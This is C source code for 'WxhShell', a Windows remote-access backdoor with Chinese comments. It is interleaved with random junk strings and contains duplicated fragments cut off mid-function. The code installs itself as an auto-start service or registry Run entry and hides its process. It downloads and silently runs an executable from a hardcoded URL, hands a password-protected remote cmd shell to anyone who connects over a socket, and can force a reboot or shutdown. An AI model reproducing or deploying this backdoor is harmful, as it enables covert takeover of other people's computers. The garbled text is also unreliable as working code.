NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GVe[)R BG/M3 if (!NtQueryInformationProcess) return 0; j$siCsF eA4@)6W P( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); an=8['X if(!hProcess) return 0; ~[t%g9 3`$- if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K'Wg_ihA p8frSrcU CloseHandle(hProcess); *ax$R6a#X &+Xj%x.] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _|`S9Nms if(hProcess==NULL) return 0; ,)|nxX {IJ,y27 HMODULE hMod; rOEk%kJ char procName[255]; .sgP3Ah unsigned long cbNeeded; .e~17}Ka} `~F= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *{/BPc0* *v_+a: CloseHandle(hProcess); :iP2e+j 'WUd7 if(strstr(procName,"services")) return 1; // 以服务启动 Q!iM7C!8 -xPv]j$ return 0; // 注册表启动 1!~=8FTv } @))PpE`co8 qlNK } // 主模块 \x5b=~/ int StartWxhshell(LPSTR lpCmdLine) B;@7 { fczId" SOCKET wsl; $OldHe[p BOOL val=TRUE; gDa}8!+i int port=0; =`Pgo5A struct sockaddr_in door; sEm-Td+A5 |>Qj] if(wscfg.ws_autoins) Install(); 1/:WA:]1, ozy~`$;c port=atoi(lpCmdLine); 0[/>>
!ws Y/?V%X if(port<=0) port=wscfg.ws_port; Bq3" l%hI a6cq0g[# z WSADATA data; aSkH<5i`v if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uS`XWn<CSD #(=8
RA:@ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; g4EC[>5!r setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qwM71B!r door.sin_family = AF_INET; ZxFRE#y~2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); a<*q+a(*W door.sin_port = htons(port); B>hf|.GI 50q(8F-N if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rozp closesocket(wsl); n** W return 1; [T<nTB# w } f~
kz=R= 4+"2K-] if(listen(wsl,2) == INVALID_SOCKET) { 7u73v+9qn: closesocket(wsl); |WwC@3) return 1; gqJSz}' } lA>^k;+> Wxhshell(wsl); Y@B0.5U2 WSACleanup(); P|*c7+q C@1B?OfJ return 0; ]-]K4*{ B|XrjI? } lLhvpvT jrk48z // 以NT服务方式启动 jkTC/9AE| VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v"ZNS { nI]8w6eCV DWORD status = 0; 0vR
gmn DWORD specificError = 0xfffffff; }@6ws/5 "sh*,K5x| serviceStatus.dwServiceType = SERVICE_WIN32; AtU%S9 serviceStatus.dwCurrentState = SERVICE_START_PENDING; )B'&XLK serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VZF; serviceStatus.dwWin32ExitCode = 0; n .is+2t serviceStatus.dwServiceSpecificExitCode = 0; a8nqzuI serviceStatus.dwCheckPoint = 0; cip5 -Z@8 serviceStatus.dwWaitHint = 0; W cOyOv *Cf5D6=Q hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {02$pO if (hServiceStatusHandle==0) return; c[VVCN8dA ;\a?xtIy status = GetLastError(); R `K1L!`3 if (status!=NO_ERROR) cH>@ZFTF { [>--U)/ serviceStatus.dwCurrentState = SERVICE_STOPPED; v
*icoj serviceStatus.dwCheckPoint = 0; V9`?s0nn^ serviceStatus.dwWaitHint = 0; o0ky]9
P serviceStatus.dwWin32ExitCode = status; 5?l8;xe`{f serviceStatus.dwServiceSpecificExitCode = specificError; x
Zp` SetServiceStatus(hServiceStatusHandle, &serviceStatus); tBUn
KPT return; %vn"tp } KEfN!6 zu/BDyF serviceStatus.dwCurrentState = SERVICE_RUNNING; cPunMHD serviceStatus.dwCheckPoint = 0; qh9d.Q+n serviceStatus.dwWaitHint = 0; O1+OE!w if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q rBb!.r } L;RHshTy gpT~3c;l= // 处理NT服务事件,比如:启动、停止 nIZ;N!r=i VOID WINAPI NTServiceHandler(DWORD fdwControl) -A]-o { '`+8'3K~E switch(fdwControl) JsP<etX { pTeN[Yu? case SERVICE_CONTROL_STOP: 2P,%}Ms serviceStatus.dwWin32ExitCode = 0; 2`d KnaF| serviceStatus.dwCurrentState = SERVICE_STOPPED; C*X=nezq serviceStatus.dwCheckPoint = 0; ibP IT!5c serviceStatus.dwWaitHint = 0; !#y_vz9 { +-X
68` SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,{6Vf|? } mY=Q#nG return; c,j[ix case SERVICE_CONTROL_PAUSE: '8w}m8{y serviceStatus.dwCurrentState = SERVICE_PAUSED; {<cL@W break; B)/L[ )S case SERVICE_CONTROL_CONTINUE: E4N/or serviceStatus.dwCurrentState = SERVICE_RUNNING; DbWaF5\yD break; 1VKu3 case SERVICE_CONTROL_INTERROGATE: $U=j<^R}a break; l"zwH }; eQqnPqi- SetServiceStatus(hServiceStatusHandle, &serviceStatus); v`r![QpYf } !P8Y(i "%I<yUP]U // 标准应用程序主函数 ]A&pXAM int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k'8tqIUN] { lxsn(- j O\J{4EB@. // 获取操作系统版本 mV'-1 OsIsNt=GetOsVer(); Y6 <.]H GetModuleFileName(NULL,ExeFile,MAX_PATH); j
D kBe-` 6%^A6U // 从命令行安装 P(%^J6[> if(strpbrk(lpCmdLine,"iI")) Install(); *$]50 \W 2WK c;? // 下载执行文件 p!o-+@ava if(wscfg.ws_downexe) { {nPiIPH if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v\lKY*@f WinExec(wscfg.ws_filenam,SW_HIDE); I:6H65(& } 70<{tjyc ,Dab( if(!OsIsNt) { ??#SQSU // 如果时win9x,隐藏进程并且设置为注册表启动 "T@9#7Obu HideProc(); 'pnOHT StartWxhshell(lpCmdLine); !tzk7D } M ]Hf>7p else CzDV^Iv;Q{ if(StartFromService()) ;&dMtYb // 以服务方式启动 ~_SRcM{ StartServiceCtrlDispatcher(DispatchTable); yGY:EvH^? else V]Rt[l] // 普通方式启动 WJJmM*>JW StartWxhshell(lpCmdLine); 0Ke2%+yqJ ~KQiNkA\|l return 0; S3UJ)@
E } g4 3(N!@g &gF9VY [*J?TNk :85QwN]\ =========================================== WF_v>g:g gNJdP!(t !bIE%cq EQtY b"_ 5?Ukf$)x a9u2Wlz " I5@8=rFk J#gG*( #include <stdio.h> KV)if' #include <string.h> bU \T #include <windows.h> I~GHx5Dk #include <winsock2.h> l(9AwVoAR| #include <winsvc.h> )(9[> _+40 #include <urlmon.h> Ft^X[5G4L Jcy+(7lE) #pragma comment (lib, "Ws2_32.lib") fg7 #pragma comment (lib, "urlmon.lib") IczMf% J4x|Af p #define MAX_USER 100 // 最大客户端连接数 nAC>']K4$ #define BUF_SOCK 200 // sock buffer mp)+wZAN& #define KEY_BUFF 255 // 输入 buffer 388vdF AJ3%Z$JJ;s #define REBOOT 0 // 重启 ;t M #define SHUTDOWN 1 // 关机 Y2IMHNtH $V !25jQ #define DEF_PORT 5000 // 监听端口 )5NWUuH 5 ik](k"1{ #define REG_LEN 16 // 注册表键长度 f/QwXO-U #define SVC_LEN 80 // NT服务名长度 ^T#jBqe + 9I|Fm // 从dll定义API Qz89=#W typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S,EL=3},= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~{GTL_w typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nu)YN1
* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5 B t~tt *aJO5&w<T // wxhshell配置信息 |e<$ struct WSCFG { ][KlEE>W2 int ws_port; // 监听端口 O^PN{u char ws_passstr[REG_LEN]; // 口令 _e/Bg~ int ws_autoins; // 安装标记, 1=yes 0=no CpB,L char ws_regname[REG_LEN]; // 注册表键名 YG /@=Z. char ws_svcname[REG_LEN]; // 服务名 1?yj<^" char ws_svcdisp[SVC_LEN]; // 服务显示名 {V pk o char ws_svcdesc[SVC_LEN]; // 服务描述信息 rog1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A2ufET int ws_downexe; // 下载执行标记, 1=yes 0=no q65]bs4M char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $Dd-2p char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mE=Ur ?6]B6 }; !"o\H(siT XS
#u/!
// default Wxhshell configuration }g@
'^v struct WSCFG wscfg={DEF_PORT, O c.fvP^ZD "xuhuanlingzhe", N~0ihTG5 1, R58NTPm "Wxhshell", %ZcS"/gf "Wxhshell", 9|3sNFGX "WxhShell Service", W/3sJc9 "Wrsky Windows CmdShell Service", E%(s=YhW "Please Input Your Password: ", ExQ\qp3 1, tJ7F.}\;C "http://www.wrsky.com/wxhshell.exe", #.!#"8{0_ "Wxhshell.exe" Y9gw
('\w }; I:HrBhI)wP 4AKr.a0q // 消息定义模块 1szObhN-l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z\]{{;%4b7 char *msg_ws_prompt="\n\r? for help\n\r#>"; *o38f>aJl char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R(*t1R\ char *msg_ws_ext="\n\rExit."; l p(D@FT char *msg_ws_end="\n\rQuit."; ' <xE0< char *msg_ws_boot="\n\rReboot..."; y Z[=Y char *msg_ws_poff="\n\rShutdown..."; rHM^_sYRb char *msg_ws_down="\n\rSave to "; zVa&4 T- & Zn`2% char *msg_ws_err="\n\rErr!"; o='A1 P char *msg_ws_ok="\n\rOK!"; ^^zj4 }On? * nFzfV char ExeFile[MAX_PATH]; 0w:
3/WO int nUser = 0; 97UOH HANDLE handles[MAX_USER]; Hq+QsplG int OsIsNt; g$jT P#%b )[J@s= SERVICE_STATUS serviceStatus; FZW`ADq] SERVICE_STATUS_HANDLE hServiceStatusHandle; VdGVEDwz K a&
2>F // 函数声明 8{QCW{K int Install(void); #0vda'q=j int Uninstall(void); i]N<xcF9N* int DownloadFile(char *sURL, SOCKET wsh); 3y+~l
H: int Boot(int flag); Ep;i],} void HideProc(void); h_{f_GQ" int GetOsVer(void); ]8fn1Hx\ int Wxhshell(SOCKET wsl); L"/?[B": void TalkWithClient(void *cs); )bR0>3/ int CmdShell(SOCKET sock); IC5QH<.$C int StartFromService(void); x.Egl4b3 int StartWxhshell(LPSTR lpCmdLine); sQj]#/yK: $,J0) ~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4H(8BNgzV VOID WINAPI NTServiceHandler( DWORD fdwControl ); +7o1&D*v P3]K'*Dyd // 数据结构和表定义 t0jE\6r SERVICE_TABLE_ENTRY DispatchTable[] = XI ;] c5 { t$%<eF@w {wscfg.ws_svcname, NTServiceMain}, 0O,;[l {NULL, NULL} +RL@g*` }; K#N9N@W jR Q(cLi:)X2 // 自我安装 ap'La|9t> int Install(void) &6C]|13; { ;l~a|KW0 char svExeFile[MAX_PATH]; )c&ya|h HKEY key; 6)ibXbH strcpy(svExeFile,ExeFile); xZ)K#\ Y.) QNTh // 如果是win9x系统,修改注册表设为自启动 d,N6~?B if(!OsIsNt) { YPGzI]\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dqJ 8lU? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xEurkR RegCloseKey(key); u6F>o+Td) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { as]M%|/-I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Im\ ~x~{ RegCloseKey(key); BO4;S/ O return 0; `,xO~_
e> } 'G~i;o 2 } -3mIdZ } ,*U-o}{8C? else { Za1mI^ L1 [ i,[^ // 如果是NT以上系统,安装为系统服务 z/`+jIB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l^ay*H if (schSCManager!=0) ?8{Os;!je { K=HLMDs SC_HANDLE schService = CreateService .`m|Uf#"
_ ( =1,!EkG schSCManager, ZP!.C&O wscfg.ws_svcname, p0 X%^A,4
wscfg.ws_svcdisp, rP'%f 6 SERVICE_ALL_ACCESS, $.pCoS]i SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wkGr} SERVICE_AUTO_START, Iy49o! SERVICE_ERROR_NORMAL, i8k} B
o svExeFile, fMFkA(Of^ NULL, 2F`#df NULL, yQUrHxm NULL, d@g2 9rs NULL, H390<` NULL Be]z @E1x ); eu" m0Q if (schService!=0) oNe:<YT
{ iB(?}SaAZ CloseServiceHandle(schService); m!G(vhA,_w CloseServiceHandle(schSCManager); )K@D4sl strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e-P{)L<s5 strcat(svExeFile,wscfg.ws_svcname); H[p~1%Lq if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VD7-; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :AFW= e@< RegCloseKey(key); >QvqH 2 return 0; 1Z)P.9c } @}H'2V } MYvz%7 CloseServiceHandle(schSCManager); B=K<k+{6" } .eg'Z@o } ] 9C)F*r7 zA6C{L G3 return 1; Yb5@W/' } )cRHt: 7F>]zrbK // 自我卸载 eA(\#+)X ` int Uninstall(void) Ncbe{}<md { XrTc5V HKEY key; ^_Lnqk6 9C,gJp}P if(!OsIsNt) { 4qsct@K, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r9u'+$vmF RegDeleteValue(key,wscfg.ws_regname); q`{@@[/(y RegCloseKey(key); w9GY/] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hfLe<, RegDeleteValue(key,wscfg.ws_regname); sj&(O@~R RegCloseKey(key); r+[g.` return 0; nbP}a?XC } :KvZP:T } _ymSo`IvR } cJq{;~ else { 6x(b/`VW NiVLx_<Pr' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X%-hTl if (schSCManager!=0) CPNV\qCY { \R@}X cqZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j -o if (schService!=0) KYB3n85 1 { ,?j!c* if(DeleteService(schService)!=0) { hr.mzQd CloseServiceHandle(schService); .aa7*e CloseServiceHandle(schSCManager); ]wV\=m?z& return 0; 2 N &B } }])j>E CloseServiceHandle(schService); [7`S`\_NK } Pfvb?Hy CloseServiceHandle(schSCManager); uv$5MwKU } $aTo9{M ^ } |n,O!29 i=b'_SZ' return 1; @]X!#&2> } 9mMQ C'A
D[`p // 从指定url下载文件 `{"V(YMEV int DownloadFile(char *sURL, SOCKET wsh) Bq~S=bAB>R { :jTbzDqQ HRESULT hr; 2ALYfZ|d char seps[]= "/"; b4$.uLY char *token; !?i9fYu char *file; 2xuU[ char myURL[MAX_PATH]; mXJG &EA char myFILE[MAX_PATH]; gf9,/m 4xs>X7 strcpy(myURL,sURL); 6@^
?dQ token=strtok(myURL,seps); B\AyG4J while(token!=NULL) r\b$/:y<e { P!9-!+F" file=token; Ve[Kv07 token=strtok(NULL,seps); :X9;KoJl-V } @Kbj:S;m CWp>8@v GetCurrentDirectory(MAX_PATH,myFILE); O>rz+8 T strcat(myFILE, "\\"); &JLKHwi/ strcat(myFILE, file); NODE`VFu send(wsh,myFILE,strlen(myFILE),0); ct*~\C6Ze send(wsh,"...",3,0); U.^%7. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q"pZPpl& if(hr==S_OK) -y&>&D return 0; uh)f/)6 else 96F+I!qC return 1; ^JIs:\g<< QB*AQ5- } TffeCaBv A#~CZQY^$ // 系统电源模块 :8)3t! A int Boot(int flag) !C' Y
7 { Gqar5 HANDLE hToken; "$%&C%t TOKEN_PRIVILEGES tkp;
6 ;\>, y>UQm|o<W if(OsIsNt) { /WAOpf5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `a7b,d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +Sv2'& B tkp.PrivilegeCount = 1; Sf`?j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2rP!] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zBrqh9%8e if(flag==REBOOT) { i"!j:YEo if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $I4JKh return 0; g fv?#mp } :NwFJc else { XHuHbriI if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z*^vdi0 return 0; viS7+E|O } Y-DHW/Z~ } $*0XWrE else { Mm"0Ip2" if(flag==REBOOT) { +{e2TY if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8+_e= _3R return 0; ` NvJ } ''EFh&F else { UUgc> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;2eZa|M*q return 0; `@ Ont+ } vN)l3 } Kzfy0LWM #|l# return 1; g31\7\)Ir }
)Oj%3 pEGHW; // win9x进程隐藏模块 ^zS|O]Tx void HideProc(void) ZoKX ao { lS`VJA6l. x5W@zqj HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #5IfF~*i if ( hKernel != NULL ) i'Q 4touy { 9;pD0h| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \%;5$ovV ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q;p%
VQ FreeLibrary(hKernel); CM%;r5 } +u7nx 8bEii1EM return; qZ+^ND(I } W(*?rA- PP /u'M7R // 获取操作系统版本 b;(BMO,( int GetOsVer(void) O#D
N3yu? { q&k?$rn OSVERSIONINFO winfo; 3)py|W%X$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qc^qCGy!z GetVersionEx(&winfo); ATU] KL!{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !RdubM return 1; `>}e 5 else Zo5.Yse return 0; v/7iu*u } F,
p~O{
Q a<Ptm(, // 客户端句柄模块 jP"='6Vrw int Wxhshell(SOCKET wsl) )VR/a { W\yaovAt SOCKET wsh; >9]i#So^ struct sockaddr_in client; 4ze4{a^ DWORD myID; L {i|OK^e :.EVvuXI while(nUser<MAX_USER) ZzO.s$ { \>XkK<ye int nSize=sizeof(client); 6~6*(s|]A wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6Yx/m if(wsh==INVALID_SOCKET) return 1; m3K .\3 6/ thhP3`- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3LD`Ep
if(handles[nUser]==0) 6oLq2Z8uP closesocket(wsh); )h?Pz1-W1 else ?qjlWCV|e nUser++; !+I!J
s" } q]o^Y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |b:91l , 8F(R%v return 0; ZzuWN& } BIjQ8 t $T80vEi+u // 关闭 socket 2r&T. void CloseIt(SOCKET wsh) ;v1&Rs { 6>B_ojj: closesocket(wsh); d>NM4n[h8 nUser--; @5\ns-% ExitThread(0); |\~!oN } R k).D6 9AdA|/WV // 客户端请求句柄 g>O
O '}lF void TalkWithClient(void *cs) o}K!p%5_ { d$` NApr ueazAsk3g SOCKET wsh=(SOCKET)cs; RZ&T\;m,7 char pwd[SVC_LEN]; v81H!c.* char cmd[KEY_BUFF]; 9W<I~ char chr[1]; >w"k:O17
int i,j; CwVORf,uA 42: 6=\ while (nUser < MAX_USER) { PKM8MYvo 9Iod[ x if(wscfg.ws_passstr) { ]1
OZY@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r|tTDKGQ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XZFM|=%X //ZeroMemory(pwd,KEY_BUFF); @eGJ_ J i=0; 2U;ImC1g while(i<SVC_LEN) { S @'fmjA' &qP&=( $ // 设置超时 IZkQmA= fd_set FdRead; ^/kn#1H7& struct timeval TimeOut; qj5V<c;h%W FD_ZERO(&FdRead); jQ s"8[=s FD_SET(wsh,&FdRead); -q.tU*xf' TimeOut.tv_sec=8; )!&7X L[ TimeOut.tv_usec=0; m:7$"oq| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HsGyNkr?r if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g0D(:_QXp: ,!s;o6|*y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \We\*7^E pwd=chr[0]; CcHf1
_CI if(chr[0]==0xd || chr[0]==0xa) { sSMcF[]@2I pwd=0; }QL 2#R break; 8&"@6/)[ } WU
-_Y^ i++; _JjR=
m } O:Fnxp5@ _8CE|<Cn // 如果是非法用户,关闭 socket A%pBvULH if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #X(KW&;m } .;0?r9 IE-c^'W=}m send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jCMr[ G= send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AVys`{*c $i+
1a0%n while(1) { HNRZ59Yyq X;I;CZ={ ZeroMemory(cmd,KEY_BUFF); sacaL4[_< n%>c4*t // 自动支持客户端 telnet标准 (gv1f j=0; A@X&dy while(j<KEY_BUFF) { .*N,x0B( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E K)7g~ cmd[j]=chr[0]; VE<&0d< if(chr[0]==0xa || chr[0]==0xd) { m\88Etl@ cmd[j]=0; o#-K,|- break; /^kZ}}9baU } .'q0*Pe j++; 32r2<QrX } >t,BNsWB EhkvC>y // 下载文件 h$Z_r($b
if(strstr(cmd,"http://")) { ;/3
< send(wsh,msg_ws_down,strlen(msg_ws_down),0); vPn( ~d_ if(DownloadFile(cmd,wsh)) *.UM[Wo send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,&;#$ b5 else ?]'Rz\70 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v:MJF*/ } &!uNN|W else { <wt#m`Za <(YmkOS+ switch(cmd[0]) { xbFoXYqgP ZLBv\VQ // 帮助 )2|'` case '?': { =#AeOqs( q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cvR|qHNX break; P| o_/BS } Lzzf`jN] // 安装 ;hz"`{(JY case 'i': { <|_/i/H if(Install()) L {6y]t7^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); z:hY{/- else ZqHh$QBD
9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jJc?/1 jv break; ;~Ke5os=s } *<yKT$(+_ // 卸载 mX)UoiXue case 'r': { VuDSjh if(Uninstall()) /;t42
g9w send(wsh,msg_ws_err,strlen(msg_ws_err),0); @aU%1h5W;l else 4+t9"SD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c]`}DH,TJ break; K<O1PrC } :"9 :J // 显示 wxhshell 所在路径 HL;y5o? case 'p': { 2jTP
(b2b char svExeFile[MAX_PATH]; ]VifDFL} strcpy(svExeFile,"\n\r"); }|rnyYA strcat(svExeFile,ExeFile); hKq#i8py send(wsh,svExeFile,strlen(svExeFile),0); NGD?.^ (G break; M^\#(0^2@ } Vd2bG4*= // 重启 fZ2>%IxG} case 'b': { VjbRjn5LI send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }ZMbTsm if(Boot(REBOOT)) ~7Ey9wRkD send(wsh,msg_ws_err,strlen(msg_ws_err),0); aVI/x5p~ else { zPp?D_t closesocket(wsh); *]Nd
I ExitThread(0); +'9l 2DI; } q<L>r?T[ break; HtUFl } };[~>Mzl // 关机 DGl_SMJb case 'd': { TSHsEcfO send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e&G!5kz! if(Boot(SHUTDOWN)) )~1QOl
"~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Om%{fq& else { LXr
yv;H closesocket(wsh); b
!FX]d1~k ExitThread(0); _RT3Fk } CQf!< break; cXx?MF5 } &n>\ +Q // 获取shell EQDsbG0x case 's': { c"w}<8
CmdShell(wsh); [hs_HYqJ closesocket(wsh); TAbd[:2{F ExitThread(0); CeD O:J=, break; pqmS
w } ) -+u8# // 退出 {_0m0
8 case 'x': { H#IJ&w| send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `+_UG^aeW CloseIt(wsh); " (c#H break; q@K;u[zFK } :kUZNw'Bi // 离开 vtyk\e) case 'q': { g9>
0N#< send(wsh,msg_ws_end,strlen(msg_ws_end),0); V)M+dhl closesocket(wsh); YPQ&hEu0 WSACleanup(); TfaL5evio exit(1); L>~wcoB break; R=g~od[N_ } 7iCH$} } ~Zbr7zVn } !|hxr#q=4 t\J5np // 提示信息 QiB^U^f if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &kKopJH } 6/^$SWd2 } iaAVGgA9+ 0e1W& return; 8?ldD } q_eGY&M cn&\q.!fh // shell模块句柄 ]~g6#@l int CmdShell(SOCKET sock) !+tz<9BBY { m\>531& STARTUPINFO si; U)~?/s{v ZeroMemory(&si,sizeof(si)); zPWX%1Qr si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C$o#zu q- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ydo"H9NOS PROCESS_INFORMATION ProcessInfo; \I J\ char cmdline[]="cmd"; u_[^gS7 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /QDlm>FM4 return 0; 5$o]D } G8%Q$ H)&6I33` // 自身启动模式 %a%x`S3 int StartFromService(void) '\qd{mM\r { !=j\pu}
Z typedef struct dI'cZt~n { l:v:f@M& DWORD ExitStatus; G}1?lO_d` DWORD PebBaseAddress; [t@ DWORD AffinityMask; {2<A\nW DWORD BasePriority; OQ&?^S`8', ULONG UniqueProcessId; fC>3{@h}* ULONG InheritedFromUniqueProcessId; <k)@PAV } PROCESS_BASIC_INFORMATION; 1"J\iwN3 aa:Oh^AJy PROCNTQSIP NtQueryInformationProcess; `2 X~3im c e`3& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mf)0Y~_:R# static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5MsE oLg K7 >Z)21 HANDLE hProcess; |:_WdU"Q] PROCESS_BASIC_INFORMATION pbi; 16"eyt> ]Igd< HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *sI`+4h[ if(NULL == hInst ) return 0; :7ej6 "YbvI@pD g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gJn|G#! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
s)Bmi NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^E_`M:~ xBH`=e< if (!NtQueryInformationProcess) return 0; =ML6"jr ?n o.hf hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K)5'Jp@ if(!hProcess) return 0; 4naL2 Y! ({=:
N if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ['%]tWT9 z(]14250 CloseHandle(hProcess); X2b<_j3 A<ca9g3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6.? Ke8iC if(hProcess==NULL) return 0; dKyJ.p MONfA;64/ HMODULE hMod; 8z&7wO char procName[255]; b e[KNrO unsigned long cbNeeded; ~ _C[~- S#+Dfa`8X if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t,#9i#q# e(7F| G* CloseHandle(hProcess); p%) 1(R8qM AF5.)Y@. if(strstr(procName,"services")) return 1; // 以服务启动 GKf,1kns RR h0G>* return 0; // 注册表启动 WE""be8 } 1U[8OM{$ k.nq, // 主模块 u,i~,M int StartWxhshell(LPSTR lpCmdLine) ud]O'@G< { V_pWf5F SOCKET wsl; 